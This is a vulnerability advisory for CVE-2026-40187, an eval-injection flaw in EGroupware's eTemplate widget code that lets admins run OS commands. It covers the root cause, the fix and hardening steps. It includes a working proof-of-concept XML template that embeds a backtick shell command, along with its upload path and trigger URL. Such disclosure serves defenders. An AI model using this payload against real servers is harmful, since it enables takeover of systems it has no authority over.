CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection
An authenticated EGroupware administrator can upload a malicious XML template file that causes the server to execute arbitrary OS commands, taking full control of the underlying system.
The problem
The Widget::expand_name() method in api/src/Etemplate/Widget.php passes widget attribute values into a PHP eval() call to expand grid variables like $row and $col. Before being passed to eval(), the input is sanitised with only a double-quote escape (str_replace('"', '\\"', $name)).
Backtick characters are left untouched.
In PHP, backticks inside a double-quoted eval() string are shell execution operators, identical to shell_exec(). Any admin-level user can upload a .xet eTemplate XML file to the VFS /etemplates mount (writable by the Admins group) and embed a backtick-wrapped OS command in a widget id attribute.
When EGroupware loads the template, the command runs as the web server user.
Proof of concept
A working proof-of-concept for CVE-2026-40187 in egroupware/egroupware, with the exact payload below.
<!-- Save as index.xet, upload to /etemplates/admin/templates/default/index.xet -->
<?xml version="1.0" encoding="UTF-8"?>
<overlay>
<template id="admin.index">
<grid>
<columns><column/></columns>
<rows>
<row>
<textbox id="$row`id > /tmp/pwned_egw 2>/dev/null`"/>
</row>
</rows>
</grid>
</template>
</overlay>
<!-- Trigger: visit https://<target>/egroupware/index.php?menuaction=admin.admin_ui.index -->
<!-- eval executes: $name = "$row`id > /tmp/pwned_egw 2>/dev/null`"; -->The root cause is CWE-95 (Eval Injection) compounded by CWE-78 (OS Command Injection). expand_name() fires eval() whenever $name contains a $ character, treating the value as a PHP double-quoted string. The only guard was str_replace('"', '\\"', $name), which stops double-quote escaping but ignores backticks entirely.
In PHP, a double-quoted string evaluated at runtime interprets backticks as shell execution operators. So "$row\id\" inside eval() runs id via the shell and substitutes its output. The patch for 26.4.20260413 adds backtick escaping (and removes the eval() approach in favour of safe variable substitution), closing both the eval injection and the resulting OS command execution path.
The official Docker deployment sets disable_functions = exec,passthru,shell_exec,system,proc_open,popen in php.ini, which also blocks PHP backtick execution. Bare-metal, VM, and custom container deployments without this hardening are fully exposed.
The fix
Upgrade to EGroupware 26.4.20260413 or later. The patch rewrites Widget::expand_name() to escape backticks before any eval() call (or replaces the eval() entirely with safe substitution). As a defence-in-depth measure on any deployment, add disable_functions = exec,passthru,shell_exec,system,proc_open,popen,shell_exec to php.ini and restart PHP-FPM.
Restrict VFS /etemplates write access and audit admin accounts.
Related research
- criticalCVE-2026-27823CVE-2026-27823: EGroupware SmallPART Remote Code Execution via Auth Bypass and Path Traversal
- high · 8.8Pheditor Terminal Command-Allowlist Bypass via Argument Injection (RCE)
- high · 8.8CVE-2026-55578CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist
- highCVE-2026-49273CVE-2026-49273: MantisBT Remote Code Execution via eval() Class Hoisting in adm_config_set.php